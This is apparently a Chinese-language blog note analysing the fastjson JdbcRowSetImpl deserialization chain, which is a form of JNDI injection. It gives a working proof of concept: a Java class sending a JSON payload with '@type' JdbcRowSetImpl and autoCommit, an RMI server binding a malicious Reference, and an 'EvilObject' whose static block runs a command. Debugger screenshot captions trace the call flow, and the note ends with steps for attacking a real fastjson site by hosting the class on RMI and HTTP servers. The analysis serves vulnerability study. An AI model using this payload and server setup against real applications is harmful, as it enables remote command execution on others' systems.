­

fastjson反序列化-JdbcRowSetImpl利用鏈

  • 2021 年 10 月 20 日
  • 筆記

fastjson反序列化-JdbcRowSetImpl利用鏈

JdbcRowSetImpl利用鏈

fastjson反序列化JdbcRowSetImpl – Afant1 – 部落格園 (cnblogs.com)

這裡涉及了JNDI與RMI的概念。

其本質為JNDI注入。

附上示例程式碼

JdbcRowSetImplPoC.java

package org.lain.poc.poclist;

import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

/**
 * @author: ZH3FENG
 * @Date: 下午7:53 2017/12/11
 * @Modified By:
 * @Description: Gadget com.sun.rowset.JdbcRowSetImpl
 *
 *               setAutoCommit() -> connect() -> InitialContext.lookup()
 */
public class JdbcRowSetImplPoC {


    public static void testJdbcRowSetImpl(String dataSourceName){

        ParserConfig config = new ParserConfig();

        config.setAutoTypeSupport(true);//


        String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
                + "\"dataSourceName\":\"" + dataSourceName + "\","
                + "\"autoCommit\":\"true\"}";
        System.out.println(payload);

        try{
            JSONObject.parse(payload,config);
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

RMIServer.java

package org.lain.poc.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

/**
 * @author: lanqihe
 * @Date: 下午8:01 2017/12/11
 * @Modified By:
 * @Description: 本地註冊一個register,並將惡意的類綁定
 */
public class RMIServer {


    public static void main(String argv[]) {

        try {
            Registry  registry =  LocateRegistry.createRegistry(1090);

            //如果通過rmi無法找到org.lain.poc.jndi.EvilObjectFactory,則嘗試從factoryLocation 獲取
            //因此,本地測試的話,如果factory正確,factoryLocation隨便填
            //把一個對象綁定到rmi註冊表中,這個對象需要繼承UnicastRemoteObject,但是Reference沒有繼承它,所以我們還需要封裝一下它,用 ReferenceWrapper 包裹一下Reference實例對象,這樣就可以將其綁定到rmi註冊表,並被遠程訪問到了
            Reference reference = new Reference("EvilObject",
                    "org.lain.poc.jndi.EvilObjectFactory",
                    "//localhost:9999/" );


            //客戶端通過evil查找,獲取到EvilObject
            registry.bind("evil", new ReferenceWrapper(reference));

            System.out.println("Ready!");
            System.out.println("Waiting for connection......");

        } catch (Exception e) {
            System.out.println("RMIServer: " + e.getMessage());
            e.printStackTrace();
        }
    }
}

EvilObject.java

package org.lain.poc.jndi;


import java.io.IOException;

/**
 * @author: ZH3FENG
 * @Date: 上午10:18 2017/12/12
 * @Modified By:
 * @Description: 模擬一個惡意類,靜態程式碼塊執行命令
 */
public class EvilObject {


    public EvilObject(){
        System.out.println("Hi!");
    }
    /**
     * 簡單的命令執行
     */
    static {
        try {
            Runtime.getRuntime().exec("calc");
        }catch (IOException e){
            //ignore
        }
    }
}

我們在JSONObject.parse方法下斷點調試

image-20211020101611139

還是調用了parse.Object,步入

image-20211020102225142

image-20211020102758094

調用deserialze方法,進行反序列化

image-20211020103031361

接下來會對JdbcRowSetImpl進行 初始化

image-20211020103548234

在調用完構造函數後,parseObject還會去調用set方法。

根據poc的欄位,可以在setDataSourceName與setAutoCommit下斷點。

發現確實調用了這兩個函數,在setDataSourceName方法中設置了數據源,setAutoCommit方法中,調用了connect方法。

image-20211020120948837

connect方法

image-20211020122318182

lookup方法

image-20211020122420085

decodeObject中就是解析reference,之後調用getOnjectInstance去實例化對象。

image-20211020131010703

調用流程總結:

image-20211020131258689

具體利用方法:

Fastjson反序列化漏洞利用 – 簡書 (jianshu.com)

搭建一個rmi伺服器和一個http伺服器

將exp類部署到http伺服器上。

如果目標網站存在fastjson包,且有json格式數據的輸入點。則可以構造json數據,達到遠程調用http伺服器上的類,造成命令執行。